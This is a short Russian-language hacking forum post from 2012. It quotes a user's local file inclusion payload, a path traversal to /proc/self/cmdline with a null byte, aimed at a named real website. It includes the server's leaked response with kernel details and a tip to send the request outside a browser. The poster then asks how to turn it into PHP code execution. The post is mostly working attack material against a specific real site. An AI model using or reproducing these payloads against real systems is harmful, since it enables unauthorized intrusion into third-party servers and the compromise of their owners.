15.03.2012, 18:02
|
|
Новичок
Регистрация: 17.03.2008
Сообщений: 5
С нами:
9553063
Репутация:
1
|
|
LFI
Сообщение от Expl0ited
Выполнение PHP кода:
http://zamok-met.ru/catalog.php?id=../../../../proc/self/cmdline%00&
Вернет:
/bin/apache2___[zamok-met.ru] GET /catalog.php?id=../../../../proc/self/cmdline%00&
Linux cabol.beget.ru 2.6.35.14 #4 SMP Sun Aug 14 23:30:33 MSD 2011 x86_64
HTTP/1.0
Запрос отправлять не через браузер, иначе все символы урлкодируются.
Руки и голова
А при каких условиях пхп кода и настроек апача удаеться провести такой финт с выполнением пхп кода:
Код:
http://zamok-met.ru/catalog.php?id=../../../../proc/self/cmdline%00&
|
|
|